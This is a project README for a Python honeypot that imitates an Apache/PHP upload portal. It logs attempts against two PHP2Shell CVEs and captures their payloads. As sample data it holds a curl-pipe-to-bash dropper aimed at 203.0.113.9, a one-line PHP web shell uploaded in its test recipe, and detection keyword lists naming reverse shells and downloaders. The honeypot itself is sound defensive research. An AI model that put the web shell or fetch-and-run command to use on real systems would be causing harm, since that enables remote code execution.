Skip to content
comradezephyrPublic

About

A safe, high-interaction HTTP sensor for the PHP2Shell exploitation family.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Repository files navigation

PHP2Shell Threat-Intelligence Honeypot

A safe, high-interaction HTTP sensor for the PHP2Shell exploitation family:

CVE Behaviour being detected
CVE-2026-109618 Large / mangled multipart/form-data uploads crafted to push PHP into out-of-memory or parser-desynchronisation states
CVE-2026-109619 PHP_SESSION_UPLOAD_PROGRESS session-file poisoning races and deliberately paused TCP upload streams

The sensor is written in Python with FastAPI + Uvicorn (an asyncio HTTP server). It emulates an Apache 2.4.52 / PHP-FPM 8.1.2 file portal on the wire. It does not ship, spawn, proxy or connect to PHP, Apache, CGI, FPM or any other interpreter. No request byte is ever executed.

Deploy this only on an isolated, dedicated sensor network. It is an intelligence collection device, not a production web server. Apply the hardening notes at the end of this document.


Why it is safe

  • No PHP engine, no shell, no eval/exec/subprocess on request data. Responses are static HTML/PHP-error templates rendered by Python.
  • Bounded streaming reads. Request bodies are consumed chunk-by-chunk into a SpooledTemporaryFile with a hard cap (PHPTOPWN_MAX_BODY_BYTES, 32 MiB by default) and an analysis probe (PHPTOPWN_PROBE_BYTES, 2 MiB). Huge PHP2Shell uploads therefore consume fixed, small memory.
  • Read timeout. A client that announces a body and stalls is cut off after PHPTOPWN_BODY_TIMEOUT_SECONDS (30 s) with 408 Request Timeout.
  • Quarantine, not execution. Payloads are written as inert bytes to captured_payloads/, named only by SHA-256. That directory is never routed or served and is deliberately excluded from the container image.
  • Contained runtime. The Docker image runs as an unprivileged user with all Linux capabilities dropped, a read-only root filesystem, a small tmpfs, memory and PID limits and no egress requirements.

Capabilities

  • Catch-all GET, HEAD, POST, PUT, PATCH, DELETE, OPTIONS and TRACE handlers across every path, plus realistic decoy routes.
  • Apache/PHP fingerprints on every response: Server: Apache/2.4.52 (Ubuntu), X-Powered-By: PHP/8.1.2, X-Request-Id.
  • Apache-style 404, 405, 408 and PHP-style fatal-error pages.
  • Safe multipart parser (no python-multipart, no PHP):
    • part count, per-part header sizes, folded headers
    • nested / mismatched / missing boundaries, malformed framing
    • duplicate, over-long and path-traversal filenames
    • form fields, upload filenames, content types, part SHA-256 hashes
  • TCP pacing telemetry: per-chunk inter-arrival gaps, body duration, first-byte delay, incomplete/disconnected bodies.
  • Command-dropper extraction (curl, wget, chmod +x, bash -c, nc, base64 -d, Python/Perl one-liners, PowerShell, reverse shells, PHP execution primitives).
  • Web-shell marker detection (<?php, eval(, system(, shell_exec, base64_decode, gzinflate, ...).
  • IOC harvesting: attacker IP, IPv4 addresses embedded in payloads, URLs, domains, upload filenames, body and part SHA-256 hashes.
  • Optional TLS listener on 8443 with a self-signed certificate.

Project layout

.
├── phptopwn/                    # sensor package (config, parsing, detection, ...)
├── phptopwn.toml                # documented default configuration
├── pyproject.toml               # packaging (PEP 621), pinned dependencies
├── Dockerfile
├── docker-compose.yml
├── docker/
│   └── entrypoint.sh            # optional self-signed TLS certificate bootstrap
├── deploy/
│   ├── phptopwn.service         # hardened systemd unit
│   └── phptopwn.env             # systemd environment example
├── tests/
│   ├── smoke_test.py            # stdlib-only end-to-end verification
│   ├── conftest.py              # shared config/capture builders
│   └── test_*.py                # unit suite: parsing, detection, storage, webhooks, metrics, ...
├── docs/
│   └── CONFIG.md                # full configuration reference
├── logs/                        # created at runtime (exploits.json, iocs.txt)
└── captured_payloads/           # created at runtime (quarantined bytes)

Quick start

Local (HTTP on 8080)

python3 -m venv .venv
. .venv/bin/activate
pip install .
phptopwn                  # or: phptopwn --config path/to/phptopwn.toml

Verify:

curl -i http://127.0.0.1:8080/
curl -i http://127.0.0.1:8080/phpinfo.php
phptopwn --dry-run        # print the resolved configuration and exit

Docker Compose (ports 80 / 443)

mkdir -p logs captured_payloads certs
docker compose up --build -d

Compose maps host 80 -> 8080 and 443 -> 8443, enables TLS, and generates a throw-away self-signed certificate into ./certs/ on first start if one is not present. Collected telemetry is bind-mounted back to ./logs/ and ./captured_payloads/.

The container runs as UID/GID 1000. If your host user is not UID 1000, give the bind-mounted directories to that UID before starting:

sudo chown -R 1000:1000 logs captured_payloads certs

Change the port mapping if 80/443 are already in use:

ports:
  - "8080:8080"
  - "8443:8443"

TLS without Docker

Generate a certificate and point the sensor at it:

mkdir -p certs
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
  -keyout certs/honeypot.key -out certs/honeypot.crt \
  -subj "/CN=intranet.acme.local"

PHPTOPWN_TLS=true \
PHPTOPWN_CERT_FILE=./certs/honeypot.crt \
PHPTOPWN_KEY_FILE=./certs/honeypot.key \
phptopwn

The plain HTTP listener stays available on 8080; the TLS listener runs in the same process on 8443. Both serve the same app and write to the same telemetry store.

Uvicorn CLI

phptopwn is preferred because it starts the TLS listener too. If you use Uvicorn directly, disable its own server header so the Apache fingerprint is not duplicated:

uvicorn phptopwn.decoy:create_app --factory --host 0.0.0.0 --port 8080 --no-server-header

Note that running Uvicorn by hand skips the internal metrics listener.

systemd (bare metal / VM)

deploy/phptopwn.service runs the sensor as a dedicated phptopwn user with a strict sandbox (ProtectSystem=strict + ReadWritePaths limited to the log and capture directories, NoNewPrivileges, PrivateDevices, empty CapabilityBoundingSet, RestrictAddressFamilies to IP/Unix, syscall filtering, MemoryDenyWriteExecute):

sudo useradd --system --home /var/lib/phptopwn --shell /usr/sbin/nologin phptopwn
sudo mkdir -p /etc/phptopwn /var/lib/phptopwn/{logs,payloads}
sudo chown -R phptopwn:phptopwn /var/lib/phptopwn
sudo pip install --no-deps /path/to/phptopwn-1.0.0-py3-none-any.whl

sudo cp deploy/phptopwn.service /etc/systemd/system/
sudo cp deploy/phptopwn.env /etc/phptopwn/phptopwn.env   # then edit
sudo systemctl daemon-reload
sudo systemctl enable --now phptopwn
journalctl -u phptopwn -f

Keep PHPTOPWN_TLS=false on systemd deployments unless you provision the certificate yourself — the unit deliberately does not generate keys (the Docker entrypoint does, for throw-away decoy certs only).


Configuration

Configuration lives in phptopwn.toml (documented inline, kept at the repo root and shipped with the package). Every value can be overridden with an environment variable named PHPTOPWN_<FIELD> — e.g. http_port becomes PHPTOPWN_HTTP_PORT, with a handful of aliases (tls_enabled → PHPTOPWN_TLS, log_all_requests → PHPTOPWN_LOG_ALL, logging.level → PHPTOPWN_LOG_LEVEL, logging.json → PHPTOPWN_LOG_JSON). Precedence: built-in defaults < TOML file < environment < CLI flags (--host, --port). Select a different file with --config or PHPTOPWN_CONFIG.

docs/CONFIG.md is the complete reference — every field, default, validation bound and the alert webhook payload. Unknown TOML sections, unknown fields and out-of-range values abort startup instead of being guessed around.

Frequently adjusted at deployment:

Variable Default Effect
PHPTOPWN_LOG_ALL true Log benign requests too (false keeps only exploits)
PHPTOPWN_WEBHOOK_URL (empty) Enable Post-JSON exploit alerting
PHPTOPWN_MIN_SEVERITY high Lowest severity that raises an alert
PHPTOPWN_RATE_LIMIT_PER_MINUTE 600 Source guard, requests/minute/IP (0 disables)
PHPTOPWN_MAX_CONCURRENT_PER_IP 32 Source guard, concurrent requests/IP (0 disables)
PHPTOPWN_MAX_BODY_BYTES 33554432 Hard body capture cap
PHPTOPWN_BODY_TIMEOUT_SECONDS 30.0 Body-stall read timeout → 408
PHPTOPWN_LOG_DIR / PHPTOPWN_CAPTURE_DIR logs / captured_payloads Telemetry + quarantine locations
PHPTOPWN_METRICS_HOST 127.0.0.1 Set 0.0.0.0 in container deployments
PHPTOPWN_TRUST_PROXY_HEADERS false Trust X-Forwarded-For (proxy only!)

Do not enable PHPTOPWN_TRUST_PROXY_HEADERS unless the sensor is behind a trusted reverse proxy; otherwise attackers can spoof their source IP in logs and the IOC blocklist.


Fleet: shipping events to a regional collector

A sensor can forward every phptopwn.event/1.0 record to one regional collector. Enable [fleet] in the sensor config (disabled by default):

[fleet]
enabled = true
node_id = "eu-lab-1"        # must be listed in the collector's [nodes] table
region = "eu-west"
collector_url = "https://collector-eu.example.net:9443"
collector_token = "<same token as that collector>"

How it behaves under failure:

  • Events are appended to fleet/outbox.jsonl and shipped as NDJSON batches to POST {collector_url}/v1/events. Progress is a byte offset in fleet/forwarder_state.json, so an outage resumes oldest-first after the collector returns.
  • If the collector stays down past max_buffer_bytes, the oldest backlog is skipped (never re-shipped); the skip is counted in metrics (fleet_event_skips) and logged. Sensor-side disk usage stays bounded.
  • The collector dedupes per request_id over dedupe_days, so a crash between "shipped" and "offset advanced" is harmless.
  • The sensor's only outbound connection is collector_url. Firewall the host accordingly (docs/FLEET.md has the lockdown recipe).

The collector side is a separate process and package script:

phptopwn-collect serve --config collect.toml        # ingest + loopback dashboard
phptopwn-collect ioc --day 20261106 --out exports/  # per-IP + payload-hash export

docs/SCHEMA.md documents the wire contract (validation, partial-accept report, dedupe); docs/FLEET.md is the deployment runbook with preflight gates and research-governance rules (freeze on code changes during a collection window, threshold-tuning log, no third-party egress from sensors). For the all-in-one laptop deployment (sensor + collector + Cloudflare tunnel, no published ports, egress-free internal network), follow docs/DEPLOY-LAPTOP.md — docker-compose.yml, .env.example and scripts/e2e_laptop.py belong to that path.


Detection logic

CVE-2026-109618 - OOM / mangled multipart

Signals emitted with "cve": "CVE-2026-109618":

Signal id Severity Trigger
large_multipart_upload high Multipart POST/PUT >= PHPTOPWN_LARGE_MULTIPART_BYTES
excessive_multipart_parts high >= PHPTOPWN_MANY_PARTS parts
oversized_part_headers high A part header block >= PHPTOPWN_PART_HEADER_BYTES
mass_file_upload_fields high >= 8 file fields in one request
content_length_overflow high Declared Content-Length > capture cap
truncated_request_body high Delivered bytes < declared Content-Length
mangled_multipart_boundary high Declared boundary absent from the body
multipart_missing_boundary high multipart/form-data without a boundary
nested_multipart_boundary high Part contains its own multipart body
mangled_multipart_body high Missing CRLF / part separators
conflicting_length_headers high Both Transfer-Encoding and Content-Length
folded_multipart_headers medium Folded/invalid part headers
duplicate_upload_filenames medium Repeated filename= values
oversized_upload_filename medium Filename > 255 characters
filename_path_traversal medium ../, absolute path or NUL in filename
header_flooding medium Oversized request header block

When such a request reaches /upload.php (or any *.php path), the sensor answers like a PHP worker that just exhausted memory_limit:

HTTP/1.1 500 Internal Server Error
...
Fatal error: Allowed memory size of 134217728 bytes exhausted ...

That keeps the attacker engaged and produces a clean CVE-labelled telemetry record without ever allocating the requested memory.

CVE-2026-109619 - session-progress race / paused streams

Signals emitted with "cve": "CVE-2026-109619":

Signal id Severity Trigger
php_session_upload_progress high PHP_SESSION_UPLOAD_PROGRESS or session.upload_progress.* in the body
php_ini_override_header high PHP_VALUE, PHP_ADMIN_VALUE, PHP_SESSION_UPLOAD_PROGRESS, PHP_INI headers
php_ini_override_payload high allow_url_include, auto_prepend_file, auto_append_file, disable_functions in the body
session_progress_webshell_race high Session-progress markers and PHP code in one request
tcp_stream_pause high Inter-chunk gap >= PHPTOPWN_SLOW_GAP_SECONDS
slow_body_delivery high Body takes >= PHPTOPWN_SLOW_TOTAL_SECONDS
incomplete_upload_stream high Stream ends before the declared body
body_read_timeout high Client stalls past PHPTOPWN_BODY_TIMEOUT_SECONDS
body_exceeds_capture_cap medium Body larger than the capture cap

Timing is measured inside the ASGI receive() loop, so pauses are visible even though the HTTP server terminates TLS. body.chunk_gaps_seconds and body.max_chunk_gap_seconds are written to the log as evidence.

Generic tradecraft

webshell_upload, php_code_in_request, command_dropper, command_parameter, sensitive_path_probe and scanner_user_agent capture adjacent activity (web-shell uploads, ?cmd= probes, downloader one-liners, known scanners). A request is marked is_exploit: true when any signal is medium or higher; low signals are retained for context.


Telemetry artifacts

logs/exploits.json

JSON Lines: one complete JSON object per line, append-only. The .json name is intentional for tooling compatibility; use jq or a streaming reader rather than loading it as a JSON array. A record is written for every exploit request and, when PHPTOPWN_LOG_ALL=true, for benign requests as well.

Abridged example:

{
  "schema": "phptopwn.event/1.0",
  "event": "http_request",
  "request_id": "f2f3de9e630e4562b156f9ea56b86dec",
  "timestamp": "2026-10-23T15:56:47.596Z",
  "tls": false,
  "client": {"ip": "127.0.0.1", "port": 49634},
  "request": {
    "method": "POST",
    "path": "/upload.php",
    "query": "",
    "http_version": "1.1",
    "headers": [["host", "127.0.0.1:8080"], ["user-agent", "curl/8.5.0"]],
    "content_type": "multipart/form-data; boundary=----php2shell...",
    "declared_content_length": 1229090
  },
  "body": {
    "bytes": 1229090,
    "stored_bytes": 1229090,
    "sha256": "9e9280f9e630fc88c2b1e28067e8e8d82a0ad6ef3e203a77e921ccc470ab720b",
    "truncated": false,
    "incomplete": false,
    "chunk_count": 7,
    "chunk_gaps_seconds": [0.0002, 0.0005, 0.0006],
    "max_chunk_gap_seconds": 0.0012,
    "preview": "------php2shell...",
    "saved_as": "9e9280f9e630fc88c2b1e28067e8e8d82a0ad6ef3e203a77e921ccc470ab720b.multipart"
  },
  "multipart": {
    "boundary": "----php2shell...",
    "boundary_found": true,
    "part_count": 2,
    "file_part_count": 1,
    "parts": [
      {"index": 0, "name": "PHP_SESSION_UPLOAD_PROGRESS", "filename": null, "size": 10, "sha256": "..."},
      {"index": 1, "name": "file", "filename": "shell.php", "content_type": "application/x-php", "size": 68, "sha256": "de631871..."}
    ]
  },
  "form": {"PHP_SESSION_UPLOAD_PROGRESS": "racewindow"},
  "analysis": {
    "is_exploit": true,
    "severity": "high",
    "cves": ["CVE-2026-109619"],
    "signals": [{"id": "php_session_upload_progress", "severity": "high", "cve": "CVE-2026-109619", "description": "..."}],
    "command_droppers": [{"tool": "curl", "command": "curl -s http://203.0.113.9/x.sh | bash"}],
    "webshell_markers": ["<?php", "system("],
    "iocs": {"ip": ["127.0.0.1", "203.0.113.9"], "url": ["http://203.0.113.9/x.sh"], "filename": ["shell.php"], "sha256": ["de631871..."]}
  },
  "artifacts": [{"file": "de631871....bin", "kind": "uploaded_file", "sha256": "de631871....", "bytes": 68, "original_filename": "shell.php"}],
  "response": {"status": 200, "headers": {"server": "Apache/2.4.52 (Ubuntu)", "x-powered-by": "PHP/8.1.2"}},
  "error": null
}

Every record contains the raw request headers (in arrival order), the attacker IP/port, a body preview, the body SHA-256, multipart structure, extracted form fields, signal evidence, command strings, IOCs, response status and artifacts.

captured_payloads/

  • <sha256>.<ext> - raw request bodies (*.multipart, *.form, *.body) and uploaded files/fragments. Executable-looking uploads are quarantined with a neutralized .bin extension (PHPTOPWN_NEUTRALIZE_CAPTURE_NAMES=true, the default) so nothing in the directory can ever be routed to a script interpreter; the original filename is preserved in the record and the manifest. Setting it false restores .<orig-ext> names — do this only for a downstream tool that needs them, and make sure the directory is opaque to any interpreter.
  • manifest.jsonl - one JSON object per artifact: sha256, file, kind, size, original_filename, content_type, truncated, first_seen, request_id, source_ip.
  • Deduplication is by SHA-256: repeated payloads are not written again.
  • Large artifacts are capped (PHPTOPWN_MAX_ARTIFACT_BYTES) and marked truncated: true; partial uploads are marked in the same way.

logs/iocs.txt

Tab-separated IOC feed, append-only and deduplicated by (type, value):

# PHP2Shell honeypot IOC feed (tab separated)
# type	value	first_seen	last_seen	context
ip	198.51.100.23	2026-10-23T15:56:42.085Z	2026-10-23T15:56:42.085Z	high:CVE-2026-109618,CVE-2026-109619:f372f3f8...
sha256	9e9280f9...	2026-10-23T15:56:42.085Z	2026-10-23T15:56:42.085Z	high:CVE-2026-109618:f372f3f8...
filename	shell.php	2026-10-23T15:56:47.596Z	2026-10-23T15:56:47.596Z	high:CVE-2026-109619:f2f3de9e...
url	http://203.0.113.9/x.sh	...	...	high:CVE-2026-109619:...
domain	203.0.113.9	...	...	high:CVE-2026-109619:...

Extract the plain IP blocklist for a firewall / fail2ban / DNS sinkhole:

awk -F'\t' '!/^#/ && $1=="ip" {print $2}' logs/iocs.txt \
  | sort -u > logs/blocklist.txt

Useful queries:

# Exploit verdicts
jq -c 'select(.analysis.is_exploit) | {ts:.timestamp, ip:.client.ip, cves:.analysis.cves, path:.request.path}' \
  logs/exploits.json | tail -50

# All captured dropper commands
jq -r '.analysis.command_droppers[]?.command' logs/exploits.json | sort -u

# Requests with TCP pauses
jq -c 'select(.body.max_chunk_gap_seconds >= 2) | {ip:.client.ip, gap:.body.max_chunk_gap_seconds, path:.request.path}' \
  logs/exploits.json

# Top source IPs
jq -r '.client.ip' logs/exploits.json | sort | uniq -c | sort -nr | head

Decoy routes

Route Methods Response
/, /index.php, /index.html GET, HEAD Acme Intranet file-portal landing page with upload form
/upload.php POST, PUT, PATCH Realistic upload result; 500 PHP OOM page for CVE-2026-109618; session page for CVE-2026-109619
/uploads/ GET Apache directory listing
/phpinfo.php GET phpinfo decoy including session.upload_progress.* and memory_limit
/server-status GET Apache mod_status decoy
/wp-login.php GET, POST WordPress login decoy / invalid-credentials page
/robots.txt GET Discourages /uploads/ and /admin/
any other path any method Apache-style 404; OPTIONS returns an Allow header

/healthz on the decoy surface is deliberately 404 — an Apache server would not expose an ops route. The real health endpoint lives on the internal listener (see below); Docker's healthcheck uses it.


Internal listener: health and Prometheus metrics

A second uvicorn app listens on metrics_host:metrics_port (default 127.0.0.1:9091) and serves:

  • GET /healthz → {"status": "ok", "version": ..., "counters": {...}, "uptime_seconds": ...} (used by the container healthcheck)
  • GET /metrics → Prometheus text exposition (text/plain; version=1.0.0)

Metric families:

Family Meaning
phptopwn_uptime_seconds Process uptime
phptopwn_requests{kind} benign / exploit request counts
phptopwn_guard_rejections{reason} rate_limited, concurrent_limit, header_flood
phptopwn_signature_hits{signature} Most frequent detection signals (capped top set)
phptopwn_alerts{outcome} sent, failed, metered, overflow
phptopwn_body_bytes Bytes observed by the bounded reader
phptopwn_request_rate_per_minute Recent observed request rate
phptopwn_top_client{ip} Top-10 talkers
phptopwn_last_exploit_at_seconds Unix time of the last exploit verdict

Scrape it from localhost, over the Docker network, or publish 127.0.0.1:9091:9091 as compose does by default.


Alerting to webhooks

Set PHPTOPWN_WEBHOOK_URL and every exploit at or above PHPTOPWN_MIN_SEVERITY POSTs one JSON object to it (sensor, request id, client IP, severity, CVEs, signal ids and IOC summary). Deliveries run as tracked background tasks — a dead webhook never slows or stalls request processing. Accounting lands in phptopwn_alerts{outcome}:

  • sent — webhook answered 2xx
  • failed — non-2xx or transport error (logged at WARNING with request id)
  • metered — suppressed inside the per-IP cooldown window; the window opens only when an alert actually dispatches, so an ongoing attack alerts once per cooldown period instead of refreshing it forever
  • overflow — dropped because PHPTOPWN_MAX_INFLIGHT deliveries were already running

Payload shape and per-field semantics: docs/CONFIG.md.


Verification

Run the end-to-end test (stdlib only; starts real servers on loopback):

python3 tests/smoke_test.py

Expected output:

PASS: decoy routes, Apache/PHP headers, CVE-2026-109618, CVE-2026-109619,
      paused TCP stream detection, stalled-upload timeout, payload quarantine,
      SHA-256 manifest, IOC blocklist, JSON logs, Prometheus metrics,
      webhook alerting and TLS listener all verified.

Unit suite and coverage gate (CI)

124 unit tests cover parsing, detection thresholds, storage/quarantine, guards, metrics, webhook metering, config validation, logging and the CLI:

pip install ".[dev]"
python -m coverage run --branch --source=phptopwn -m pytest   # 124 tests
python -m coverage report --fail-under=85 -m                  # gate
ruff check phptopwn tests            # lint
mypy phptopwn                        # types

.github/workflows/ci.yml runs exactly these gates (ruff, mypy, coverage report --fail-under=85) with Python 3.12 on every push and pull request.

The test asserts:

  1. Decoy routes return Apache/PHP headers and realistic bodies.
  2. A large multipart request returns the PHP OOM 500 page and logs CVE-2026-109618 with all expected structural signals.
  3. A PHP_SESSION_UPLOAD_PROGRESS upload plus curl dropper returns 200, logs CVE-2026-109619, extracts the dropper and quarantines the web shell.
  4. A raw socket that sends its body in 250 ms steps logs tcp_stream_pause with a measured gap.
  5. A client that announces a body and stalls receives 408 and logs body_read_timeout.
  6. Quarantined files are named by SHA-256 and match the original bytes; the manifest and IOC feed contain the hashes and attacker IP.
  7. The TLS listener serves the same Apache-fingerprinted decoy over HTTPS.
  8. Operational logs are single-line JSON objects with GMT Z stamps.
  9. /metrics exposes all documented phptopwn_* families and /healthz answers {"status":"ok"} on the internal port.
  10. A local webhook sink receives a CVE-labelled JSON alert, and a second hit inside the cooldown window is metered, not re-sent.

Manual exploit simulation (safe - the payload is only stored and scored):

printf '<?php system($_GET["c"]); ?>\n' > /tmp/shell.php
curl -i -F 'PHP_SESSION_UPLOAD_PROGRESS=race' \
     -F 'file=@/tmp/shell.php;filename=shell.php;type=application/x-php' \
     http://127.0.0.1:8080/upload.php

python3 - <<'PY'
data = b"A" * (2 * 1024 * 1024)
open("/tmp/large.bin", "wb").write(data)
PY
curl -i -F 'file=@/tmp/large.bin;filename=big.php' \
     http://127.0.0.1:8080/upload.php

Operational guidance

  • Run the sensor on a dedicated VLAN / cloud instance with no egress and no route to production networks. The honeypot does not need outbound access.
  • Keep captured_payloads/ off any web root, share or backup that auto-executes files. Treat every artifact as live malware: analyse only in a sandbox.
  • Retain logs/ on a central collector. For long-running sensors, rotate exploits.json (e.g. logrotate with copytruncate) or ship JSONL to your SIEM and truncate.
  • Monitor disk usage: the body cap limits each request, but volumetric scanning still produces many records. Set PHPTOPWN_LOG_ALL=false if you only want exploit records.
  • Tune PHPTOPWN_LARGE_MULTIPART_BYTES / PHPTOPWN_SLOW_GAP_SECONDS to your traffic baseline. Lower thresholds increase sensitivity and false positives.
  • The TLS certificate generated by docker/entrypoint.sh is self-signed and for deception only; do not reuse it anywhere else.
  • PHPTOPWN_TRUST_PROXY_HEADERS must stay false unless the sensor is behind a trusted proxy that overwrites X-Forwarded-For.
  • Never enable PHP, Apache modules, CGI or FPM on the same host to "make the decoy more realistic". The Python emulation is the safety boundary.

Limitations

  • CVE-2026-109618 / CVE-2026-109619 are modelled as described in the task: the detector scores multipart memory-exhaustion shapes and session-progress/TCP-pause behaviour; it is heuristic, not a byte-exact replica of any specific public PoC.
  • TCP pacing is observed at the ASGI receive() boundary. Kernel-level coalescing can merge very small writes; gaps larger than the configured threshold remain reliable.
  • The decoy is intentionally small. It does not emulate a complete PHP application, database or authentication flow.
  • If the capture cap is reached, the remaining request body is not drained; the server responds with Connection: close. This is a deliberate anti-DoS trade-off.
  • exploits.json is JSON Lines, not a JSON array, to allow concurrent-safe append-only writes.

About

A safe, high-interaction HTTP sensor for the PHP2Shell exploitation family.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages